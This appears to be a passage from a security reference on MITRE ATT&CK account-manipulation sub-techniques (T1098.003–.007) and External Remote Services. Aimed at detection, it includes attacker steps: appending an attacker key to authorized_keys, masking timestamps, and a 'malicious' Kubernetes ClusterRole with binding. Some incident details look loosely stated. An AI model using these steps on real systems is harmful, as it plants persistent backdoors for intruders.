* **Cross-Account Role Assumption:**
  * Attackers may exploit trust relationships between cloud accounts to assume roles in other accounts, broadening their access scope across organizational boundaries.

Real-world procedures attackers employ include:

* Leveraging compromised cloud administrator accounts or API keys to create or modify roles.
* Exploiting overly permissive IAM policies or misconfigured trust relationships.
* Using automation scripts or cloud-native CLI tools (such as AWS CLI, Azure CLI, or Google Cloud SDK) to programmatically manage roles.

## When this Technique is Usually Used

Attackers typically utilize Additional Cloud Roles (T1098.003) during various stages of the cyber kill chain, including:

* **Persistence:**
  * Creating roles with persistent access ensures attackers retain long-term access even if initial compromised accounts are detected or mitigated.
* **Privilege Escalation:**
  * Modifying existing roles or creating new roles with elevated privileges allows attackers to escalate their access within the cloud environment.
* **Lateral Movement:**
  * Assuming cross-account roles facilitates lateral movement between cloud accounts or environments within an organization.
* **Defense Evasion:**
  * Utilizing ephemeral role assumptions and temporary credentials makes detection and attribution more challenging.

Common attack scenarios include:

* Post-compromise activities after initial cloud credential theft or phishing attacks.
* Exploitation of misconfigured IAM policies or trust relationships between cloud accounts.
* Advanced persistent threat (APT) actors seeking long-term and stealthy persistence in cloud environments.

## How this Technique is Usually Detected

Detecting Additional Cloud Roles (T1098.003) typically involves monitoring and analyzing cloud IAM activity and logs. Effective detection methods include:

* **Cloud Audit Logging:**
  * Regular monitoring of cloud provider audit logs (AWS CloudTrail, Azure Activity Logs, Google Cloud Audit Logs) for suspicious role creation, modification, or assumption events.
* **Behavioral Analytics:**
  * Using anomaly detection tools or security information and event management (SIEM) systems to identify unusual IAM activity patterns or anomalous role assumptions.
* **Identity and Access Management (IAM) Policy Reviews:**
  * Periodic reviews of IAM policies and roles to identify unauthorized or suspicious changes, overly permissive roles, or newly created roles that do not adhere to established naming conventions or policies.
* **Monitoring Temporary Credential Usage:**
  * Tracking the frequency, source, and scope of temporary credentials generated via STS or similar services to detect anomalous or malicious role assumptions.

Specific Indicators of Compromise (IoCs) include:

* Creation of roles with overly broad permissions or administrative privileges.
* Sudden appearance of roles with naming conventions inconsistent with organizational standards.
* Unusual or unauthorized cross-account role assumptions.
* High frequency or volume of temporary credential generation events from unusual sources or times.

## Why it is Important to Detect This Technique

Detecting Additional Cloud Roles (T1098.003) is crucial for maintaining the security and integrity of cloud environments. Failure to detect and respond promptly can lead to severe consequences, including:

* **Persistent Unauthorized Access:**
  * Attackers can maintain long-term stealthy access, making remediation difficult and resource-intensive.
* **Privilege Escalation:**
  * Attackers may escalate privileges, gaining administrative or sensitive access to critical cloud resources, data, or applications.
* **Data Exfiltration and Theft:**
  * Unauthorized roles may facilitate data exfiltration, intellectual property theft, or exposure of sensitive customer or organizational information.
* **Financial Impact:**
  * Attackers may leverage additional roles to provision unauthorized cloud resources, incurring significant financial costs.
* **Compliance and Regulatory Violations:**
  * Uncontrolled role creation or modification may lead to breaches of compliance requirements and regulatory standards, resulting in legal, financial, and reputational damage.

Early detection minimizes the damage, reduces remediation costs, and preserves organizational reputation and compliance posture.

## Examples

Real-world examples of Additional Cloud Roles (T1098.003) include:

* **Capital One Data Breach (2019):**
  * Attackers leveraged compromised AWS credentials to assume roles and access sensitive customer data stored in AWS S3 buckets.
  * The attacker created additional roles and assumed them via AWS STS, enabling data exfiltration and unauthorized access to sensitive resources.
  * Impact: Exposure of personal information of over 100 million customers, significant financial penalties, and reputational damage.
* **TeamTNT Cloud Attacks:**
  * TeamTNT, a threat actor group, targets cloud environments by creating new IAM roles or modifying existing ones to maintain persistence and escalate privileges.
  * The group leverages automation scripts and cloud-native CLI tools to rapidly create and assume roles, facilitating lateral movement and cryptojacking activities.
  * Impact: Unauthorized resource provisioning, increased cloud costs, and compromised infrastructure stability.
* **Misconfigured Cross-Account Role Exploitation:**
  * Attackers exploit improperly configured cross-account IAM roles, assuming roles in multiple accounts within an organization.
  * Once assumed, attackers escalate privileges, exfiltrate sensitive data, or launch additional attacks from compromised accounts.
  * Impact: Extensive lateral movement, data breaches, and significant remediation efforts.

These examples underline the necessity of robust monitoring, detection, and response capabilities to mitigate threats associated with Additional Cloud Roles (T1098.003).


# SSH Authorized Keys

SSH Authorized Keys \[T1098.004]

## Information

* Name: SSH Authorized Keys
* ID: T1098.004
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1098](/mitre/mitre/ta0003/t1098)

## Introduction

SSH Authorized Keys (T1098.004) is a sub-technique within the MITRE ATT\&CK framework under the broader Account Manipulation (T1098) technique. Attackers leverage this method by adding or modifying SSH authorized keys, enabling persistent, passwordless access to compromised Linux or Unix-based systems. This allows adversaries to maintain long-term persistence and evade traditional authentication mechanisms, simplifying lateral movement and further exploitation.

## Deep Dive Into Technique

SSH (Secure Shell) provides secure remote login capabilities, typically authenticating users via passwords or cryptographic keys. The authorized\_keys file, usually located at `~/.ssh/authorized_keys`, contains public keys that grant access without requiring a password.

Attackers exploiting this sub-technique typically follow these steps:

1. **Initial Access**:
   * Exploit vulnerabilities or stolen credentials to gain initial access to the target system.
   * Use existing compromised accounts or escalate privileges to gain write access to the victim user's SSH configuration.
2. **Key Generation and Placement**:
   * Generate a new SSH key pair (`ssh-keygen`) on attacker-controlled infrastructure.
   * Insert the attacker's public key into the victim user's `authorized_keys` file, often using commands such as:

     ```bash
     echo "<attacker_public_key>" >> ~/.ssh/authorized_keys
     ```
   * Alternatively, attackers may overwrite existing keys or modify permissions to avoid suspicion.
3. **Persistence and Access**:
   * Once the public key is in place, attackers can log in remotely without providing passwords, bypassing traditional authentication logging.
   * Attackers may modify file permissions (`chmod 600 authorized_keys`) and timestamps (`touch -r`) to mask their activity.
4. **Privilege Escalation and Lateral Movement**:
   * Attackers may escalate privileges by compromising administrative or root accounts.
   * Attackers can propagate their keys across multiple systems, enabling lateral movement.

## When this Technique is Usually Used

Attackers commonly employ SSH Authorized Keys manipulation in various attack scenarios and stages, including:

* **Persistence**:
  * Maintaining long-term, stealthy access to compromised systems after initial intrusion.
  * Avoiding repeated exploitation or credential reuse, reducing detection probability.
* **Lateral Movement**:
  * Propagating access across multiple compromised hosts within the network.
  * Simplifying lateral movement by eliminating the need to repeatedly authenticate with passwords.
* **Privilege Escalation**:
  * Gaining root or administrative-level access by inserting keys into privileged user accounts.
  * Facilitating future privilege escalation attempts and simplifying administrative access.
* **Data Exfiltration and Command-and-Control (C2)**:
  * Establishing secure, encrypted channels for data exfiltration or command-and-control operations.
  * Reducing detection risks by leveraging legitimate SSH traffic.

## How this Technique is Usually Detected

Detecting unauthorized modifications to SSH authorized keys involves monitoring various indicators and employing multiple detection methods, including:

* **File Integrity Monitoring (FIM)**:
  * Monitoring changes to critical files such as `~/.ssh/authorized_keys`.
  * Tools: OSSEC, Tripwire, AIDE, Auditd.
* **Audit Logging and Alerts**:
  * Enabling audit logging to track file modifications (`auditd` rules for authorized\_keys).
  * Example audit rule:

    ```bash
    -w /home/*/.ssh/authorized_keys -p wa -k ssh_key_modification
    ```
  * Monitoring alerts for unauthorized file edits or unexpected SSH key additions.
* **Behavioral Analytics and Anomaly Detection**:
  * Identifying unusual SSH login patterns, such as logins from unfamiliar IP addresses or at unusual times.
  * Using SIEM solutions (Splunk, ELK Stack, QRadar) to correlate SSH login events with authorized\_keys changes.
* **Host-based Detection**:
  * Regularly scanning authorized\_keys files for unfamiliar or unauthorized public keys.
  * Comparing current keys against a known whitelist or baseline.
* **Network Traffic Monitoring**:
  * Monitoring network traffic for unusual SSH sessions or data exfiltration attempts.
  * Identifying SSH connections to external, unknown, or suspicious IP addresses.

Indicators of Compromise (IoCs):

* Unrecognized public keys in `authorized_keys`.
* Unauthorized file permission changes on `.ssh` directories or authorized\_keys files.
* SSH logins from unknown or suspicious IP addresses.
* Unusual SSH login times and frequencies.

## Why it is Important to Detect This Technique

Identifying SSH Authorized Keys manipulation early is critical due to its severe potential impacts, including:

* **Persistent Unauthorized Access**:
  * Attackers gain persistent, stealthy access, making remediation challenging.
  * Unauthorized access may persist even after password changes or account lockouts.
* **Privilege Escalation and Administrative Control**:
  * Attackers can escalate privileges by inserting keys into privileged accounts, significantly increasing their control over systems and networks.
* **Data Exfiltration and Intellectual Property Theft**:
  * Attackers can exfiltrate sensitive data securely and stealthily via encrypted SSH channels, causing significant financial and reputational damage.
* **Lateral Movement and Network Compromise**:
  * Attackers can propagate their access across multiple systems, increasing the scope and severity of breaches.
  * Networks can become extensively compromised, complicating containment and remediation efforts.
* **Evasion of Traditional Security Controls**:
  * SSH key-based authentication bypasses traditional password-based monitoring and detection mechanisms, making unauthorized access harder to detect.

Early detection helps minimize damage, reduces remediation costs, and prevents attackers from establishing long-term footholds.

## Examples

Real-world examples demonstrating the use of SSH Authorized Keys manipulation include:

* **APT29 (Cozy Bear)**:
  * Russian state-sponsored group known to use SSH keys for persistent access.
  * Attackers inserted their own SSH keys into compromised systems to maintain long-term access and evade detection.
  * Impact: Persistent espionage, theft of sensitive government and commercial information.
* **Operation Windigo**:
  * Large-scale Linux malware campaign that compromised thousands of servers.
  * Attackers inserted malicious SSH keys into authorized\_keys files for persistent access and lateral movement.
  * Impact: Spam distribution, credential theft, malware hosting, and extensive network compromise.
* **Cloud Hopper Campaign (APT10)**:
  * Chinese state-sponsored attackers compromised managed service providers (MSPs).
  * Attackers manipulated SSH authorized keys to persistently access client networks and systems.
  * Impact: Intellectual property theft, sensitive data exfiltration, extensive supply-chain compromise.
* **Crypto-mining Campaigns**:
  * Attackers compromised Linux servers and cloud resources, inserting SSH keys to maintain persistent access.
  * Used persistent access to deploy crypto-mining malware, causing resource exhaustion and financial losses.

These examples highlight the widespread use and significant impact of SSH Authorized Keys manipulation in real-world attacks, emphasizing the importance of robust detection and prevention measures.


# Device Registration

Device Registration \[T1098.005]

## Information

* Name: Device Registration
* ID: T1098.005
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1098](/mitre/mitre/ta0003/t1098)

## Introduction

Device Registration (T1098.005) is a sub-technique within the MITRE ATT\&CK framework under the broader "Account Manipulation" technique (T1098). It involves adversaries registering unauthorized devices or systems within an organization's network or cloud environment, thereby gaining persistent access and evading detection. By registering malicious or compromised devices, attackers can blend in with legitimate infrastructure, making their activities appear normal and authorized. This sub-technique is commonly leveraged to establish persistence, maintain stealth, and facilitate lateral movement within targeted environments.

## Deep Dive Into Technique

Adversaries exploit device registration by adding unauthorized endpoints or virtual devices into legitimate management systems, Active Directory (AD), Azure AD, or other identity and access management (IAM) systems. This registration can be performed via various methods:

* **Manual Registration:** Attackers with sufficient privileges manually add compromised or attacker-controlled devices into the organization's directory services or endpoint management solutions.
* **Automated Scripted Registration:** Attackers may use automated scripts or command-line tools such as PowerShell, Azure CLI, or specialized APIs to rapidly register multiple devices, thereby scaling their access.
* **Compromise of Device Enrollment Credentials:** Attackers may obtain legitimate device enrollment credentials or tokens through credential theft, phishing, or social engineering, allowing them to register devices without raising immediate alarms.
* **Use of Stolen or Forged Certificates:** Attackers may use compromised or forged certificates to authenticate and register malicious devices, bypassing standard device authentication checks.

Once registered, these devices may:

* Appear legitimate to endpoint management platforms such as Microsoft Intune, SCCM, Jamf, or Mobile Device Management (MDM) solutions.
* Gain access to sensitive resources, applications, or data within the environment.
* Facilitate lateral movement and allow attackers to pivot to other systems or escalate privileges.
* Remain persistent and evade standard detection mechanisms due to their authorized and legitimate appearance.

## When this Technique is Usually Used

Device Registration (T1098.005) is typically employed during specific stages of a cyberattack lifecycle, including:

* **Persistence Stage:** Attackers leverage device registration to maintain a foothold within compromised environments, ensuring continued access even after initial entry points are identified and remediated.
* **Privilege Escalation and Defense Evasion:** By registering devices as legitimate endpoints, attackers can evade detection mechanisms, bypass network segmentation controls, and escalate privileges by blending into trusted device groups.
* **Lateral Movement:** Once a device is registered and trusted, attackers can pivot internally, accessing resources and systems that rely on device trust relationships.
* **Post-Compromise Expansion:** After initial access, attackers may register additional malicious devices to expand their presence within the compromised network or cloud environment.

Common scenarios include:

* Cloud-based attacks targeting Azure AD or other cloud IAM solutions.
* Enterprise environments relying heavily on endpoint management platforms (Intune, Jamf, SCCM).
* Organizations using automated provisioning and device enrollment processes that attackers can exploit.

## How this Technique is Usually Detected

Detection of unauthorized device registration requires careful monitoring, auditing, and correlation of identity-related events. Common detection methods include:

* **Endpoint and Device Inventory Audits:** Regular audits and automated inventory checks can identify newly registered devices that do not match known device naming conventions, hardware specifications, or enrollment patterns.
* **Log Analysis and SIEM Monitoring:** Aggregation and analysis of logs from directory services (Active Directory, Azure AD), endpoint management platforms (Intune, SCCM), and certificate authorities can reveal suspicious registration activities.
* **Behavioral Analytics:** Machine learning and behavioral analytics tools can identify abnormal patterns, such as sudden bursts of new device registrations, unusual geographic locations, or atypical enrollment times.
* **Monitoring of Enrollment Tokens and Certificates:** Tracking the usage of device enrollment tokens, certificates, and credentials can help detect unauthorized or unexpected registrations.
* **Alerts on Privileged Account Activity:** Monitoring privileged accounts or service accounts that can register devices can highlight unauthorized or suspicious device registration activities.

Specific Indicators of Compromise (IoCs) include:

* Unrecognized device names, hardware identifiers, or serial numbers.
* Device registrations originating from unusual geographic locations or IP addresses.
* Sudden spikes in device enrollment activities.
* Usage of compromised or suspicious certificates or tokens.
* Devices enrolled by accounts not typically associated with device registration.

## Why it is Important to Detect This Technique

Detecting unauthorized device registration is critical due to its significant potential impacts on organizations, including:

* **Persistence and Long-Term Access:** Attackers can use registered devices to maintain persistent, long-term access to sensitive data and systems, even after initial compromise points are remediated.
* **Privilege Escalation and Lateral Movement:** Registered devices can bypass security controls, facilitating attackers' lateral movement and privilege escalation within the network.
* **Data Exfiltration Risk:** Attackers can leverage registered devices to access, exfiltrate, or manipulate sensitive data, leading to significant data breaches and compliance violations.
* **Operational Disruption and Business Impact:** Unauthorized device registration can disrupt legitimate device and endpoint management processes, causing operational inefficiencies or downtime.
* **Increased Detection Difficulty:** Devices registered through legitimate channels can evade traditional detection mechanisms, highlighting the importance of proactive detection and monitoring strategies.

Early detection enables organizations to:

* Rapidly identify and isolate unauthorized devices.
* Minimize the scope and impact of potential breaches.
* Strengthen overall security posture by improving visibility and control over device enrollment processes.

## Examples

Real-world examples and scenarios involving Device Registration (T1098.005):

* **SolarWinds Compromise:** Attackers leveraged compromised identities and credentials to register unauthorized devices within Azure AD environments. Once registered, these devices facilitated lateral movement, persistence, and data exfiltration.
  * **Tools and Techniques Used:** Azure Active Directory PowerShell modules, compromised credentials, and automated scripting.
  * **Impacts:** Long-term persistence, lateral movement, and sensitive data exfiltration impacting multiple high-profile organizations.
* **APT29 (Cozy Bear) Activities:** Known to compromise cloud infrastructure and leverage device registration to maintain persistent access to targeted environments.
  * **Tools and Techniques Used:** Credential harvesting, Azure CLI, PowerShell scripting, and forged certificates.
  * **Impacts:** Persistent espionage activities, sensitive data theft, and significant operational disruption.
* **Compromised Mobile Device Management (MDM) Platforms:** Attackers have registered malicious devices within enterprise MDM solutions, enabling persistent access to sensitive corporate data and applications.
  * **Tools and Techniques Used:** Compromised enrollment tokens, phishing attacks, and unauthorized device enrollment scripts.
  * **Impacts:** Data breaches, unauthorized access to corporate applications, and prolonged attacker presence within enterprise environments.

These examples underscore the critical importance of monitoring and securing device registration processes to mitigate this sub-technique's risks and impacts.


# Additional Container Cluster Roles

Additional Container Cluster Roles \[T1098.006]

## Information

* Name: Additional Container Cluster Roles
* ID: T1098.006
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1098](/mitre/mitre/ta0003/t1098)

## Introduction

The MITRE ATT\&CK sub-technique Additional Container Cluster Roles (T1098.006) refers to adversaries exploiting or creating additional roles within container orchestration environments, primarily Kubernetes, to gain elevated privileges or maintain persistence. By manipulating cluster role definitions and bindings, attackers can escalate privileges, access sensitive resources, or create persistent backdoors within containerized infrastructures.

## Deep Dive Into Technique

In Kubernetes and similar container orchestration platforms, roles define permissions for resources within namespaces, while cluster roles grant permissions across the entire cluster. Attackers targeting this sub-technique typically perform the following actions:

* **Enumeration of Existing Roles and Bindings:**\
  Adversaries initially enumerate existing cluster roles and role bindings to understand their permissions and identify potential weaknesses or overly permissive roles.

  ```bash
  kubectl get clusterroles
  kubectl get clusterrolebindings
  ```
* **Creation of Malicious Cluster Roles:**\
  Attackers create new cluster roles or modify existing ones to include excessive privileges, such as administrative-level access to secrets, pods, services, nodes, or the ability to execute arbitrary commands.

  ```yaml
  apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    name: malicious-clusterrole
  rules:
    - apiGroups: [""]
      resources: ["pods", "secrets", "services"]
      verbs: ["get", "list", "watch", "create", "delete", "update"]
  ```
* **Binding Malicious Roles to Service Accounts or Users:**\
  After creating or modifying roles, adversaries bind them to compromised or attacker-controlled service accounts or user accounts, enabling persistent and stealthy access.

  ```yaml
  apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    name: malicious-binding
  subjects:
    - kind: ServiceAccount
      name: compromised-account
      namespace: default
  roleRef:
    kind: ClusterRole
    name: malicious-clusterrole
    apiGroup: rbac.authorization.k8s.io
  ```
* **Privilege Escalation and Persistence:**\
  With these additional roles and bindings, attackers can escalate privileges, access sensitive data, deploy malicious workloads, and maintain persistence within the Kubernetes cluster.
* **Stealth and Obfuscation Techniques:**\
  Attackers may use generic or misleading names for the created roles and bindings to blend in with legitimate administrative tasks, complicating detection efforts.

## When this Technique is Usually Used

Adversaries commonly use this technique in various stages of the attack lifecycle:

* **Privilege Escalation:**\
  Attackers who have gained initial footholds with limited privileges may create or modify cluster roles to escalate permissions and gain administrative control.
* **Persistence:**\
  Attackers establish persistent access by binding malicious roles to compromised or attacker-controlled accounts, ensuring long-term access to the cluster.
* **Lateral Movement:**\
  Additional roles can grant attackers permissions to access resources across namespaces, facilitating lateral movement within the containerized environment.
* **Data Exfiltration:**\
  Attackers leverage elevated permissions to access sensitive data such as secrets, configuration files, or databases for exfiltration purposes.
* **Impact and Disruption:**\
  Elevated privileges allow attackers to disrupt or manipulate workloads, services, and nodes, potentially leading to denial-of-service or sabotage scenarios.

## How this Technique is Usually Detected

Detection of unauthorized or malicious cluster roles and bindings involves multiple approaches:

* **Monitoring Kubernetes Audit Logs:**\
  Audit logs capture API requests, including creation or modification of cluster roles and bindings. Look for unusual or unexpected role creation events, especially those performed by unfamiliar or unexpected user accounts or service accounts.
* **Role and Binding Enumeration and Baseline Comparison:**\
  Regularly enumerate existing cluster roles and bindings and compare them against secure baselines to identify unauthorized additions or modifications.
* **Behavioral Anomaly Detection:**\
  Security tools and platforms designed for Kubernetes (e.g., Falco, Sysdig, Aqua Security, Prisma Cloud) can detect anomalous role creation activities and alert security teams.
* **Indicators of Compromise (IoCs):**
  * Unexpected cluster role or binding creations.
  * Cluster roles granting overly broad permissions (e.g., "\*" verbs on sensitive resources).
  * Role bindings associating unknown or suspicious service accounts or user accounts.
  * Kubernetes audit log entries showing role creation or modification from unknown IP addresses or at unusual times.
* **Security Information and Event Management (SIEM) Integration:**\
  Integrating Kubernetes audit logs and security events into SIEM solutions (e.g., Splunk, Elastic Stack, QRadar) enables correlation and alerting on suspicious role-related activities.

## Why it is Important to Detect This Technique

Detecting unauthorized additional cluster roles is critical to maintaining the security and stability of containerized environments:

* **Prevent Privilege Escalation:**\
  Early detection prevents attackers from escalating privileges and gaining administrative control over Kubernetes clusters.
* **Limit Data Exposure and Exfiltration:**\
  Attackers with elevated permissions may access sensitive data, including secrets, credentials, and confidential information, leading to significant data breaches.
* **Avoid Persistent Threats:**\
  Identifying malicious roles and bindings early prevents attackers from establishing persistent backdoors, reducing long-term risk and remediation complexity.
* **Protect Operational Stability:**\
  Unauthorized roles could enable attackers to disrupt critical workloads, manipulate configurations, or cause denial-of-service, jeopardizing cluster stability and availability.
* **Compliance and Regulatory Requirements:**\
  Timely detection and response to unauthorized access and privilege escalation activities are often mandated by security standards and regulations (e.g., PCI DSS, HIPAA, GDPR).

## Examples

* **TeamTNT Attacks on Kubernetes Clusters:**
  * **Attack Scenario:** TeamTNT, a threat actor group, compromised Kubernetes clusters by exploiting misconfigured APIs and service accounts. They created additional cluster roles granting administrative privileges to deploy crypto-mining workloads.
  * **Tools and Techniques:** Automated scripts to enumerate roles, create malicious bindings, and deploy crypto-mining containers.
  * **Impact:** Resource hijacking, increased cloud bills, and potential lateral movement within cloud environments.
* **Hildegard Malware Campaign:**
  * **Attack Scenario:** Hildegard malware targeted Kubernetes clusters by exploiting vulnerable APIs and creating malicious cluster roles to escalate privileges and deploy crypto-mining operations.
  * **Tools and Techniques:** Leveraging Kubernetes API access to create cluster roles with broad permissions, deploying malicious containers, and hiding activities through obfuscated naming conventions.
  * **Impact:** Unauthorized resource consumption, degraded cluster performance, and potential access to sensitive data.
* **Tesla Kubernetes Breach (Cryptojacking Incident):**
  * **Attack Scenario:** Attackers gained access to Tesla's Kubernetes dashboard due to misconfigured access controls. They created additional cluster roles and deployed crypto-mining containers within the cluster.
  * **Tools and Techniques:** Exploitation of misconfigured Kubernetes dashboard, creation of additional cluster roles, deployment of cryptojacking workloads.
  * **Impact:** Unauthorized resource usage, increased cloud costs, and reputational damage.

These examples illustrate the real-world implications of attackers exploiting Additional Container Cluster Roles (T1098.006), highlighting the necessity of vigilant monitoring, detection, and prevention measures.


# Additional Local or Domain Groups

Additional Local or Domain Groups \[T1098.007]

## Information

* Name: Additional Local or Domain Groups
* ID: T1098.007
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1098](/mitre/mitre/ta0003/t1098)

## Introduction

The MITRE ATT\&CK sub-technique "Additional Local or Domain Groups" (T1098.007) falls under the broader technique of Account Manipulation (T1098). It refers to adversaries creating or modifying local or domain groups within a compromised environment to maintain persistence, escalate privileges, or facilitate lateral movement. Attackers leverage these groups to blend in with normal administrative activities, making detection challenging. Understanding this sub-technique is essential for defenders to recognize unauthorized alterations to group accounts and mitigate potential threats.

## Deep Dive Into Technique

Attackers performing this sub-technique typically follow these technical steps:

* **Local Group Creation or Modification:**
  * Attackers may create or modify local groups on compromised endpoints to establish persistence and maintain control.
  * Using built-in utilities such as `net.exe`, `net localgroup`, or PowerShell cmdlets (`New-LocalGroup`, `Add-LocalGroupMember`), attackers can silently establish new groups or add compromised accounts to existing groups.
* **Domain Group Creation or Modification:**
  * Attackers with domain admin privileges or sufficient permissions may create new domain groups or modify existing ones to facilitate lateral movement and privilege escalation across the domain.
  * Common tools and techniques include Active Directory Users and Computers (ADUC), PowerShell AD cmdlets (e.g., `New-ADGroup`, `Add-ADGroupMember`), or direct LDAP queries and modifications.
* **Group Nesting and Privilege Escalation:**
  * Adversaries may nest groups strategically to inherit permissions from higher-privileged groups, thus indirectly escalating privileges without attracting immediate attention.
  * Attackers could add their compromised accounts to existing privileged groups such as "Domain Admins," "Enterprise Admins," or custom administrative groups.
* **Persistence and Stealth:**
  * Creating additional groups allows attackers to maintain persistent access even if individual compromised accounts are discovered and disabled.
  * Attackers often use innocuous-sounding group names or mimic legitimate administrative groups to avoid suspicion.

## When this Technique is Usually Used

Attackers employ "Additional Local or Domain Groups" in various stages and scenarios, including:

* **Privilege Escalation:**
  * Attackers add compromised accounts to privileged groups or create new groups with high-level privileges to escalate their access rights.
* **Persistence:**
  * Creating or modifying groups ensures persistent access, even if initial compromised accounts are disabled or passwords changed.
* **Lateral Movement:**
  * Domain groups provide attackers the means to move laterally across multiple systems within the domain, leveraging inherited permissions and trust relationships.
* **Credential Access and Reconnaissance:**
  * Attackers may use group memberships to enumerate additional targets, gather credentials, or identify sensitive assets within Active Directory environments.
* **Defense Evasion:**
  * Attackers create or modify groups with names similar to legitimate administrative groups to blend in and evade detection by security teams.

## How this Technique is Usually Detected

Detection of "Additional Local or Domain Groups" typically involves monitoring, auditing, and analyzing group membership changes and creation events:

* **Event Log Monitoring:**
  * Windows Security Event Logs, especially Event IDs:
    * **4727**: A security-enabled global group was created.
    * **4731**: A security-enabled local group was created.
    * **4754**: A security-enabled universal group was created.
    * **4728, 4732, 4756**: Members were added to security-enabled groups.
  * Regular monitoring and alerting on these events can help identify suspicious group activity.
* **Audit Policies and SIEM Solutions:**
  * Implement advanced audit policies to log group creation and membership changes.
  * Centralize log aggregation and correlation using SIEM solutions (e.g., Splunk, ELK, QRadar) to detect unusual patterns or anomalies.
* **Active Directory Monitoring Tools:**
  * Utilize specialized Active Directory monitoring tools (e.g., Microsoft Defender for Identity, BloodHound, PingCastle) to detect unusual group nesting or privilege escalation paths.
* **Endpoint Detection and Response (EDR):**
  * EDR solutions can detect suspicious command-line activities (e.g., `net localgroup`, PowerShell cmdlets) indicative of unauthorized group manipulation.
* **Indicators of Compromise (IoCs):**
  * Unrecognized or newly created administrative groups.
  * Unexpected additions of standard user accounts into privileged groups.
  * Suspicious PowerShell scripts or command-line arguments related to group management.

## Why it is Important to Detect This Technique

Early detection of "Additional Local or Domain Groups" is critical due to the following potential impacts:

* **Privilege Escalation Risks:**
  * Attackers who successfully manipulate groups can escalate privileges, gaining administrative or system-level access, and significantly increasing their potential damage and control.
* **Persistence and Long-Term Compromise:**
  * Attackers can maintain persistent access through group memberships, even after initial compromised accounts are remediated, resulting in prolonged threats within the environment.
* **Lateral Movement and Wider Compromise:**
  * Unauthorized domain group modifications enable attackers to move laterally across multiple systems, potentially compromising critical infrastructure, sensitive data, and intellectual property.
* **Evasion of Detection and Defense Mechanisms:**
  * Attackers who blend into legitimate administrative groups or mimic standard naming conventions may evade detection and continue malicious activities unnoticed.
* **Compliance and Regulatory Risks:**
  * Unauthorized group changes may lead to compliance violations, audit failures, and regulatory penalties.

## Examples

Real-world examples demonstrating the use of "Additional Local or Domain Groups" include:

* **APT29 (Cozy Bear):**
  * During the SolarWinds supply chain compromise, APT29 leveraged domain administrative privileges to create new Active Directory groups and add compromised accounts, enabling lateral movement and persistence across victim networks.
* **FIN6 Group:**
  * FIN6 attackers have been observed creating new local administrative groups on compromised point-of-sale (POS) systems, allowing persistent access and facilitating further data exfiltration activities.
* **Ryuk Ransomware Attacks:**
  * Attackers deploying Ryuk ransomware frequently manipulate domain groups, adding compromised accounts into privileged groups to spread ransomware rapidly across victim organizations.
* **PowerSploit Framework:**
  * Attackers leveraging PowerSploit scripts often use PowerShell cmdlets (`New-ADGroup`, `Add-ADGroupMember`) to create and modify domain groups silently, establishing persistent and privileged access.
* **TrickBot Malware:**
  * TrickBot operators have been known to enumerate and modify local group memberships using built-in Windows utilities (`net localgroup`) to escalate privileges and maintain persistence on compromised endpoints.

These examples highlight the importance of monitoring and detecting unauthorized group creation or modifications to mitigate risks associated with this sub-technique.


# External Remote Services

External Remote Services \[T1133]

## Information

* Name: External Remote Services
* ID: T1133
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0001](/mitre/mitre/ta0001)

## Introduction

External Remote Services is a technique classified under the MITRE ATT\&CK framework (ID: T1133) within the Initial Access tactic category. This technique involves adversaries leveraging legitimate external-facing remote services such as VPNs, Remote Desktop Protocol (RDP), SSH, Citrix, and other remote management tools to gain unauthorized access into internal networks. Attackers commonly exploit weak authentication mechanisms, vulnerabilities, or stolen credentials to infiltrate and establish persistence within targeted environments.

## Deep Dive Into Technique

External Remote Services encompass various legitimate remote access mechanisms that organizations commonly deploy for legitimate business purposes. Attackers exploit these services through multiple methods:

* **Credential Theft and Reuse**:
  * Attackers may obtain credentials through phishing attacks, credential dumping, or purchasing stolen credentials from dark web marketplaces.
  * Credentials are then used to authenticate into external remote services like VPN and RDP.
* **Brute Force Attacks**:
  * Attackers systematically attempt multiple credential combinations against remote services to discover valid accounts.
  * Common targets include SSH, RDP, and VPN gateways.
* **Exploitation of Vulnerabilities**:
  * Attackers exploit known vulnerabilities in remote access technologies, such as vulnerabilities in VPN appliances (e.g., Pulse Secure, Fortinet, Citrix ADC).
  * Exploitation can lead to remote code execution, credential harvesting, and unauthorized access.
* **Misconfigured Services**:
  * Poorly configured or unsecured remote services (e.g., default passwords, open RDP ports) provide easy entry points for attackers.
  * Attackers scan the internet to identify exposed and vulnerable services.
* **Supply Chain Compromise**:
  * Attackers may compromise third-party service providers with legitimate remote access to target organizations.
  * Leveraging trusted relationships and remote access channels, attackers infiltrate the internal environments of target organizations.

Once attackers successfully gain access through external remote services, they typically establish persistence, lateral movement, and deploy additional malware or ransomware within the internal network.

## When this Technique is Usually Used

Attackers commonly use External Remote Services during multiple stages of cyberattacks, primarily during initial access and persistence phases. Typical attack scenarios include:

* **Initial Access**:
  * Attackers use compromised credentials or brute-force attacks to infiltrate corporate networks via external-facing remote services.
  * Exploiting vulnerabilities in VPN appliances or remote desktop services to gain initial foothold.
* **Persistence**:
  * After initial compromise, attackers maintain persistent access by creating backdoor accounts, exploiting remote access services, or modifying remote access configurations.
* **Lateral Movement**:
  * Attackers leverage remote services internally to move laterally across the network, escalating privileges and compromising additional systems.
* **Data Exfiltration and Command-and-Control**:
  * Attackers may utilize remote access channels for data exfiltration, command-and-control (C2) communications, and deploying malicious payloads.
* **Ransomware Deployment**:
  * Cybercriminals commonly exploit external remote services to deploy ransomware payloads and encrypt critical organizational data.

## How this Technique is Usually Detected

Effective detection of External Remote Services misuse involves multiple layers of monitoring, logging, and anomaly detection:

* **Network Traffic Analysis**:
  * Monitor network traffic for unusual patterns, such as unexpected remote access connections from unknown or suspicious IP addresses.
  * Identify unusual spikes in traffic volume, port scanning activities, or repeated authentication attempts.
* **Authentication and Access Logs**:
  * Analyze authentication logs for multiple failed login attempts (brute-force attacks).
  * Detect logins from unusual geographic locations, IP addresses, or at abnormal times.
* **Endpoint Detection and Response (EDR)**:
  * Leverage EDR solutions to detect anomalous remote desktop or SSH sessions.
  * Identify suspicious processes or unauthorized remote access tools running on endpoints.
